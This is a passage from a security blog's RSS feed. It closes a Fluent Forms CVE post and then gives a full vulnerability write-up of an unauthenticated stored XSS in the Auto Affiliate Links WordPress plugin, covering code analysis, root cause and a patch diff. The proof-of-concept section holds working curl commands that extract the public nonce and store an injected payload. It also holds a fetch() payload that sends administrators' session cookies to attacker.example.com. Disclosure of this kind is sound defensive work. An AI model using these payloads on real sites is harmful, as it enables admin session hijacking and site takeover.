&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory published&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 13, 2026&lt;/td&gt;
&lt;td&gt;Version 6.2.1 released with fix&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 14, 2026&lt;/td&gt;
&lt;td&gt;This post published&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update Fluent Forms to version &lt;strong&gt;6.2.1&lt;/strong&gt; or later. You can update from:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;WordPress admin:&lt;/strong&gt; Plugins → Installed Plugins → Fluent Forms → Update&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WP-CLI:&lt;/strong&gt; &lt;code&gt;wp plugin update fluentform&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct download:&lt;/strong&gt; &lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;wordpress.org/plugins/fluentform/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After updating, verify you are running at least version 6.2.1 from &lt;strong&gt;Plugins → Installed Plugins&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/fluentform/fluent-forms-620-authenticated-subscriber-authorization-bypass-via-table-parameter&quot;&gt;Wordfence Advisory — CVE-2026-5395&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5395&quot;&gt;CVE-2026-5395 on cve.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3507987/fluentform/trunk/app/Services/Transfer/TransferService.php&quot;&gt;Patch changeset on plugins.trac.wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wordpress.org/plugins/fluentform/&quot;&gt;Fluent Forms on wordpress.org&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><atom:updated>2026-05-11T00:00:00.000Z</atom:updated><category>security</category><category>wordpress</category><author>hello@hurayraiit.com (Abu Hurayra)</author></item><item><title>CVE-2026-7330: Stored XSS in Auto Affiliate Links Plugin</title><link>https://hurayraiit.com/blog/cve-2026-7330-stored-xss-auto-affiliate-links/</link><guid isPermaLink="true">https://hurayraiit.com/blog/cve-2026-7330-stored-xss-auto-affiliate-links/</guid><description>CVE-2026-7330 is a CVSS 7.2 Stored XSS in Auto Affiliate Links &lt;=6.8.8. An unauthenticated attacker can inject JavaScript into the WordPress admin panel.</description><pubDate>Sun, 10 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;strong&gt;CVE-2026-7330&lt;/strong&gt; is a &lt;strong&gt;CVSS 7.2 (High)&lt;/strong&gt; &lt;a href=&quot;https://wordpress.org/plugins/wp-auto-affiliate-links/&quot;&gt;Unauthenticated Stored Cross-Site Scripting&lt;/a&gt; vulnerability in the &lt;a href=&quot;https://wordpress.org/plugins/wp-auto-affiliate-links/&quot;&gt;Auto Affiliate Links&lt;/a&gt; WordPress plugin. An unauthenticated attacker can inject malicious JavaScript into the plugin&apos;s Statistics page, which then executes in any administrator&apos;s browser when they visit that page — requiring no account, no session, and no victim interaction beyond loading the page.&lt;/p&gt;
&lt;h2&gt;Vulnerability Summary&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Name&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Auto Affiliate Links&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plugin Slug&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;wp-auto-affiliate-links&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVE ID&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7330&quot;&gt;CVE-2026-7330&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Score&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;7.2 (High)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CVSS Vector&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Vulnerability Type&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unauthenticated Stored Cross-Site Scripting&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Affected Versions&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wp-auto-affiliate-links.6.8.8.zip&quot;&gt;&amp;lt;= 6.8.8&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Patched Version&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://downloads.wordpress.org/plugin/wp-auto-affiliate-links.6.8.8.1.zip&quot;&gt;6.8.8.1&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Published&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;May 7, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Researcher&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/researchers/alfa-fakhrur-rizal-zaini&quot;&gt;DJumanto&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Wordfence Advisory&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-auto-affiliate-links/auto-affiliate-links-688-unauthenticated-stored-cross-site-scripting-via-url-parameter&quot;&gt;Link&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Description&lt;/h2&gt;
&lt;p&gt;An unauthenticated attacker can inject malicious JavaScript into the WordPress admin Statistics page. The plugin stores the current page URL each time a visitor clicks an affiliate link. It does this through an AJAX endpoint that any visitor — logged in or not — can reach. The &lt;code&gt;url&lt;/code&gt; parameter in this request is saved to the database without safe URL sanitization. When an admin views the Statistics page, the stored value is output directly into anchor element attributes and text, with no HTML encoding applied. The script then runs in the admin&apos;s browser.&lt;/p&gt;
&lt;p&gt;Because the plugin embeds the required nonce in the front-end page for all visitors, no account or session is needed. The CVSS vector assigns UI:N because the nonce exposure removes the prerequisite of social engineering an authenticated user into making the request — the attacker alone controls the stored payload.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;/h2&gt;
&lt;h3&gt;Vulnerable Code Path&lt;/h3&gt;
&lt;p&gt;The function &lt;code&gt;aal_url_stats_save_action()&lt;/code&gt; in &lt;code&gt;aal_stats.php&lt;/code&gt; handles the AJAX action &lt;code&gt;aal_stats_save&lt;/code&gt;. It is registered for both authenticated and unauthenticated users:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// aal_stats.php, lines 291–292
add_action( &apos;wp_ajax_aal_stats_save&apos;,        &apos;aal_url_stats_save_action&apos; );
add_action( &apos;wp_ajax_nopriv_aal_stats_save&apos;, &apos;aal_url_stats_save_action&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;wp_ajax_nopriv_&lt;/code&gt; hook means WordPress will handle the request from any visitor without checking for a login session.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Nonce exposure — &lt;code&gt;aal_stats_enqueue()&lt;/code&gt; (&lt;code&gt;aal_stats.php&lt;/code&gt;, lines 261–288):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;add_action(&apos;wp_enqueue_scripts&apos;, &apos;aal_stats_enqueue&apos;);

function aal_stats_enqueue($hook) {
    global $post;

    $aal_statsactive   = esc_attr( get_option( &apos;aal_statsactive&apos; ) );
    $aal_statsregusers = esc_attr( get_option( &apos;aal_statsregusers&apos; ) );

    if ($aal_statsactive == &apos;active&apos;)
    if ( (!is_user_logged_in()) || ($aal_statsregusers != &apos;yes&apos;) ) {

        $local_arr = array(
            &apos;ajaxstatsurl&apos; =&amp;gt; admin_url( &apos;admin-ajax.php&apos; ),
            &apos;security&apos;     =&amp;gt; wp_create_nonce( &apos;aalstatssavenonce&apos; ),  // nonce exposed here
            &apos;postid&apos;       =&amp;gt; $postid
        );

        wp_enqueue_script( &apos;aal_statsjs&apos;, plugins_url( &apos;/js/aalstats.js&apos;, __FILE__ ), array(&apos;jquery&apos;) );
        wp_localize_script( &apos;aal_statsjs&apos;, &apos;aal_stats_ajax&apos;, $local_arr );
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When click tracking is active (the default after enabling statistics), the nonce &lt;code&gt;aalstatssavenonce&lt;/code&gt; is embedded in every front-end page as a JavaScript variable. Any visitor, including an anonymous attacker, can read it directly from the page source.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Insufficient input sanitization — &lt;code&gt;aal_url_stats_save_action()&lt;/code&gt; (&lt;code&gt;aal_stats.php&lt;/code&gt;, lines 295–369):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function aal_url_stats_save_action() {
    global $wpdb;
    check_ajax_referer( &apos;aalstatssavenonce&apos;, &apos;security&apos; );  // nonce verified, but nonce is public

    $link    = sanitize_text_field($_POST[&apos;link&apos;]);
    $keyword = sanitize_text_field($_POST[&apos;keyword&apos;]);
    $tip     = sanitize_text_field($_POST[&apos;tip&apos;]);
    $locid   = sanitize_text_field($_POST[&apos;postid&apos;]);
    $url     = sanitize_text_field($_POST[&apos;url&apos;]);   // ❌ wrong sanitizer for a URL value
    $time    = time();
    // ...
    $insertdata = array(
        &apos;linkid&apos;  =&amp;gt; $linkid,
        &apos;link&apos;    =&amp;gt; $link,
        &apos;keyword&apos; =&amp;gt; $keyword,
        &apos;time&apos;    =&amp;gt; $time,
        &apos;locurl&apos;  =&amp;gt; $url,           // stored in DB without safe URL sanitization
        // ...
    );
    $rows_affected = $wpdb-&amp;gt;insert( $wpdb-&amp;gt;prefix . &quot;aal_statistics&quot;, $insertdata );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;sanitize_text_field()&lt;/code&gt; strips HTML tags, but only when the string contains a &lt;code&gt;&amp;lt;&lt;/code&gt; character. A payload like &lt;code&gt;x&quot; onmouseover=&quot;alert(1)&lt;/code&gt; contains no HTML tags, so none of the tag-stripping logic runs. The &lt;code&gt;&quot;&lt;/code&gt; character passes through untouched and is stored verbatim in the &lt;code&gt;locurl&lt;/code&gt; database column.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Missing output escaping — &lt;code&gt;aal_display_clicks()&lt;/code&gt; (&lt;code&gt;aal_stats.php&lt;/code&gt;, lines 175–253):&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// aal_stats.php, line 219 (vulnerable version)
foreach($clicks as $st) {
    ?&amp;gt;
    &amp;lt;tr ...&amp;gt;
        &amp;lt;td&amp;gt;
            &amp;lt;a href=&quot;&amp;lt;?php echo $st-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $st-&amp;gt;link; ?&amp;gt;&amp;lt;/a&amp;gt;
        &amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;
            &amp;lt;?php echo $st-&amp;gt;keyword; ?&amp;gt;
        &amp;lt;/td&amp;gt;
        &amp;lt;td&amp;gt;
            &amp;lt;a href=&quot;&amp;lt;?php echo $st-&amp;gt;locurl; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $st-&amp;gt;locurl; ?&amp;gt;&amp;lt;/a&amp;gt;
        &amp;lt;/td&amp;gt;
        ...
    &amp;lt;/tr&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The stored values are echoed directly into the HTML with no call to &lt;code&gt;esc_url()&lt;/code&gt;, &lt;code&gt;esc_attr()&lt;/code&gt;, or &lt;code&gt;esc_html()&lt;/code&gt;. A &lt;code&gt;&quot;&lt;/code&gt; character in &lt;code&gt;$st-&amp;gt;locurl&lt;/code&gt; closes the &lt;code&gt;href&lt;/code&gt; attribute, and anything after it is interpreted as new attributes or HTML.&lt;/p&gt;
&lt;h3&gt;Root Cause&lt;/h3&gt;
&lt;p&gt;The function uses &lt;code&gt;sanitize_text_field()&lt;/code&gt; to validate a URL value. This function is designed for plain-text fields, not URLs. It does not strip non-tag special characters such as &lt;code&gt;&quot;&lt;/code&gt; that break out of HTML attribute context. The output layer compounds the problem by using bare &lt;code&gt;echo&lt;/code&gt; instead of &lt;code&gt;esc_url()&lt;/code&gt; and &lt;code&gt;esc_html()&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Why Existing Controls Failed&lt;/h3&gt;
&lt;p&gt;The nonce check at line 298 (&lt;code&gt;check_ajax_referer&lt;/code&gt;) is the only barrier to the endpoint. A nonce normally proves the request came from a trusted page session, but the plugin publishes the nonce in front-end JavaScript for unauthenticated users. Any visitor can retrieve it with a single HTTP request. Because the nonce is public, it does not restrict who can call the endpoint.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;sanitize_text_field()&lt;/code&gt; call appears to sanitize the input, but it does not handle the URL context. It strips tags (e.g. &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;), so naive tag-injection is blocked. However, attribute-injection payloads that contain only &lt;code&gt;&quot;&lt;/code&gt; and plain text bypass the sanitizer entirely.&lt;/p&gt;
&lt;h3&gt;Attack Impact&lt;/h3&gt;
&lt;p&gt;An attacker can store arbitrary JavaScript that runs in any administrator&apos;s browser when they visit the Statistics page. This grants the attacker full control over the admin session — they can create new administrator accounts, install plugins, or exfiltrate authentication cookies. All 200,000+ active installs running version 6.8.8 or earlier are affected when the Statistics feature is enabled.&lt;/p&gt;
&lt;h2&gt;Proof of Concept&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; This PoC is provided for educational and defensive security research purposes only.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Prerequisites&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;WordPress installation with the &lt;code&gt;wp-auto-affiliate-links&lt;/code&gt; plugin installed and activated&lt;/li&gt;
&lt;li&gt;Plugin version &amp;lt;= 6.8.8&lt;/li&gt;
&lt;li&gt;Link statistics set to &quot;Active&quot; in the plugin settings (Settings → Auto Affiliate Links → Statistics)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Step-by-Step Reproduction&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Extract the public nonce&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Visit any front-end page of the target site. The plugin injects the nonce into the page HTML as a JavaScript variable. Use &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;grep&lt;/code&gt; to extract it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TARGET=&quot;https://target.example.com&quot;

NONCE=$(curl -s &quot;$TARGET/&quot; \
  | grep -oP &apos;&quot;security&quot;\s*:\s*&quot;\K[^&quot;]+&apos;)

echo &quot;Nonce: $NONCE&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The nonce appears in the page source inside the localized script data:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
var aal_stats_ajax = {
    &quot;ajaxstatsurl&quot;: &quot;https://target.example.com/wp-admin/admin-ajax.php&quot;,
    &quot;security&quot;: &quot;abc123def456&quot;,   ← this is the nonce
    &quot;postid&quot;: &quot;1&quot;
};
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Send the malicious AJAX request&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Post a request to the AJAX endpoint with the nonce and a crafted &lt;code&gt;url&lt;/code&gt; value. The payload &lt;code&gt;x&quot; onmouseover=&quot;alert(document.cookie)&lt;/code&gt; injects an &lt;code&gt;onmouseover&lt;/code&gt; event handler into the anchor element rendered on the Statistics page.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AJAX_URL=&quot;$TARGET/wp-admin/admin-ajax.php&quot;
PAYLOAD=&apos;x&quot; onmouseover=&quot;alert(document.cookie)&apos;

curl -s -X POST &quot;$AJAX_URL&quot; \
  --data-urlencode &quot;action=aal_stats_save&quot; \
  --data-urlencode &quot;security=$NONCE&quot; \
  --data-urlencode &quot;link=https://example.com/affiliate-link&quot; \
  --data-urlencode &quot;keyword=test-keyword&quot; \
  --data-urlencode &quot;tip=manual&quot; \
  --data-urlencode &quot;postid=1&quot; \
  --data-urlencode &quot;url=$PAYLOAD&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A successful response is an empty body followed by a &lt;code&gt;0&lt;/code&gt; (WordPress &lt;code&gt;wp_die()&lt;/code&gt; exit code), meaning the record was inserted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Wait for the administrator to visit the Statistics page&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The malicious entry is now in the &lt;code&gt;wp_aal_statistics&lt;/code&gt; table. When an administrator navigates to:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WordPress Admin → Auto Affiliate Links → Statistics
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The Statistics page calls &lt;code&gt;aal_display_clicks()&lt;/code&gt;, which builds the &quot;Latest clicks&quot; table. The stored payload is rendered without escaping:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- Rendered output (vulnerable version) --&amp;gt;
&amp;lt;a href=&quot;x&quot; onmouseover=&quot;alert(document.cookie)&quot;&amp;gt;x&quot; onmouseover=&quot;alert(document.cookie)&amp;lt;/a&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Moving the mouse over the link fires the injected event handler.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 4: Real-world payload (session cookie exfiltration)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Replace the demo &lt;code&gt;alert()&lt;/code&gt; with an exfiltration payload to steal the admin&apos;s session cookie:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ATTACKER=&quot;https://attacker.example.com/collect&quot;
PAYLOAD=&quot;x\&quot; onmouseover=\&quot;fetch(&apos;$ATTACKER?c=&apos;+document.cookie)\&quot;&quot;

curl -s -X POST &quot;$AJAX_URL&quot; \
  --data-urlencode &quot;action=aal_stats_save&quot; \
  --data-urlencode &quot;security=$NONCE&quot; \
  --data-urlencode &quot;link=https://example.com/affiliate&quot; \
  --data-urlencode &quot;keyword=legit-keyword&quot; \
  --data-urlencode &quot;tip=manual&quot; \
  --data-urlencode &quot;postid=1&quot; \
  --data-urlencode &quot;url=$PAYLOAD&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Expected Result&lt;/h3&gt;
&lt;p&gt;When an administrator views the Statistics page, the injected JavaScript executes in their browser. With the cookie exfiltration payload, the attacker receives the &lt;code&gt;wordpress_logged_in_*&lt;/code&gt; session cookie. They can use that cookie to authenticate as the administrator without knowing the password.&lt;/p&gt;
&lt;h3&gt;Verification&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Check the database: &lt;code&gt;SELECT locurl FROM wp_aal_statistics ORDER BY id DESC LIMIT 1;&lt;/code&gt; — the raw payload should be visible as stored.&lt;/li&gt;
&lt;li&gt;Log into WordPress as an admin, navigate to Auto Affiliate Links → Statistics.&lt;/li&gt;
&lt;li&gt;Observe the browser alert or check the attacker&apos;s collection server for the received cookie.&lt;/li&gt;
&lt;li&gt;Confirm the &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tag in the page source contains the injected attribute.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Patch Analysis&lt;/h2&gt;
&lt;h3&gt;What Changed&lt;/h3&gt;
&lt;p&gt;The patch modifies &lt;code&gt;aal_stats.php&lt;/code&gt; with the following fixes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Input (&lt;code&gt;aal_url_stats_save_action&lt;/code&gt;, line 304):&lt;/strong&gt; Adds &lt;code&gt;esc_url_raw()&lt;/code&gt; around the &lt;code&gt;sanitize_text_field()&lt;/code&gt; call for the &lt;code&gt;url&lt;/code&gt; parameter. &lt;code&gt;esc_url_raw()&lt;/code&gt; strips dangerous URL schemes (including &lt;code&gt;javascript:&lt;/code&gt;) and rejects values that are not valid URLs, so attribute-injection strings like &lt;code&gt;x&quot; onmouseover=...&lt;/code&gt; are reduced to harmless empty strings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Output — &lt;code&gt;aal_display_clicks&lt;/code&gt; (lines 219, 222, 225):&lt;/strong&gt; Wraps all three echoed columns (&lt;code&gt;link&lt;/code&gt;, &lt;code&gt;keyword&lt;/code&gt;, &lt;code&gt;locurl&lt;/code&gt;) with &lt;code&gt;esc_url()&lt;/code&gt; in href attributes and &lt;code&gt;esc_html()&lt;/code&gt; in text content. This converts &lt;code&gt;&quot;&lt;/code&gt; to &lt;code&gt;&amp;amp;quot;&lt;/code&gt; and &lt;code&gt;&amp;lt;&lt;/code&gt; to &lt;code&gt;&amp;amp;lt;&lt;/code&gt;, preventing any stored payload from breaking out of its HTML context.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Output — &lt;code&gt;aal_display_stats&lt;/code&gt; (lines 143, 145):&lt;/strong&gt; The same &lt;code&gt;esc_url()&lt;/code&gt; / &lt;code&gt;esc_html()&lt;/code&gt; fix is applied to the separate &quot;Clicks by link&quot; table, closing a secondary output-escaping gap in that function.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Fix Explanation&lt;/h3&gt;
&lt;p&gt;The patch addresses the root cause at both layers. The input fix (&lt;code&gt;esc_url_raw()&lt;/code&gt;) prevents unsafe data from entering the database. The output fix (&lt;code&gt;esc_url()&lt;/code&gt; / &lt;code&gt;esc_html()&lt;/code&gt;) provides defence-in-depth: even if unsafe data already exists in the database from before the patch, it cannot execute as JavaScript when rendered. Together, the two fixes follow the WordPress security best practice of sanitize-on-input and escape-on-output.&lt;/p&gt;
&lt;p&gt;The nonce exposure — the mechanism that allows unauthenticated access to the endpoint — is &lt;strong&gt;not addressed&lt;/strong&gt; by this patch. The &lt;code&gt;aalstatssavenonce&lt;/code&gt; nonce remains publicly visible in the front-end page source. Sites should be aware that any future vulnerabilities in the same AJAX endpoint would again be reachable without authentication.&lt;/p&gt;
&lt;h3&gt;Code Diff (Key Changes)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;--- a/aal_stats.php (6.8.8 — vulnerable)
+++ b/aal_stats.php (6.8.8.1 — patched)

@@ aal_display_stats() — &quot;Clicks by link/keyword&quot; table @@

-    &amp;lt;a href=&quot;&amp;lt;?php echo $st-&amp;gt;col; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $st-&amp;gt;col; ?&amp;gt;&amp;lt;/a&amp;gt;
+    &amp;lt;a href=&quot;&amp;lt;?php echo esc_url($st-&amp;gt;col); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo esc_html($st-&amp;gt;col); ?&amp;gt;&amp;lt;/a&amp;gt;

-        &amp;lt;?php echo $st-&amp;gt;col; ?&amp;gt;
+        &amp;lt;?php echo esc_html($st-&amp;gt;col); ?&amp;gt;

@@ aal_display_clicks() — &quot;Latest clicks&quot; table @@

-    &amp;lt;a href=&quot;&amp;lt;?php echo $st-&amp;gt;link; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $st-&amp;gt;link; ?&amp;gt;&amp;lt;/a&amp;gt;
+    &amp;lt;a href=&quot;&amp;lt;?php echo esc_url($st-&amp;gt;link); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo esc_html($st-&amp;gt;link); ?&amp;gt;&amp;lt;/a&amp;gt;

-    &amp;lt;?php echo $st-&amp;gt;keyword; ?&amp;gt;
+    &amp;lt;?php echo esc_html($st-&amp;gt;keyword); ?&amp;gt;

-    &amp;lt;a href=&quot;&amp;lt;?php echo $st-&amp;gt;locurl; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $st-&amp;gt;locurl; ?&amp;gt;&amp;lt;/a&amp;gt;
+    &amp;lt;a href=&quot;&amp;lt;?php echo esc_url($st-&amp;gt;locurl); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo esc_html($st-&amp;gt;locurl); ?&amp;gt;&amp;lt;/a&amp;gt;

@@ aal_url_stats_save_action() — input sanitization @@

-    $url = sanitize_text_field($_POST[&apos;url&apos;]);
+    $url = esc_url_raw(sanitize_text_field($_POST[&apos;url&apos;]));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;May 7, 2026&lt;/td&gt;
&lt;td&gt;Vulnerability publicly disclosed by Wordfence&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 7, 2026&lt;/td&gt;
&lt;td&gt;Patched version 6.8.8.1 released&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;May 8, 2026&lt;/td&gt;
&lt;td&gt;Wordfence advisory last updated&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Remediation&lt;/h2&gt;
&lt;p&gt;Update the &lt;code&gt;wp-auto-affiliate-links&lt;/code&gt; plugin to version &lt;strong&gt;6.8.8.1&lt;/strong&gt; or later.&lt;/p&gt;
&lt;h2&gt;References&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-auto-affiliate-links/tags/6.8.8/aal_stats.php#L225&quot;&gt;aal_stats.php L225 — tags/6.8.8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-auto-affiliate-links/tags/6.8.8/aal_stats.php#L304&quot;&gt;aal_stats.php L304 — tags/6.8.8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-auto-affiliate-links/tags/6.8.8/aal_stats.php#L278&quot;&gt;aal_stats.php L278 — tags/6.8.8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-auto-affiliate-links/trunk/aal_stats.php#L225&quot;&gt;aal_stats.php L225 — trunk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-auto-affiliate-links/trunk/aal_stats.php#L304&quot;&gt;aal_stats.php L304 — trunk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/browser/wp-auto-affiliate-links/trunk/aal_stats.php#L278&quot;&gt;aal_stats.php L278 — trunk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset/3519003/wp-auto-affiliate-links/trunk/aal_stats.php&quot;&gt;Changeset 3519003 — patch commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-auto-affiliate-links/tags/6.8.8&amp;amp;new_path=%2Fwp-auto-affiliate-links/tags/6.8.8.1&quot;&gt;Full diff: 6.8.8 → 6.8.8.1&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
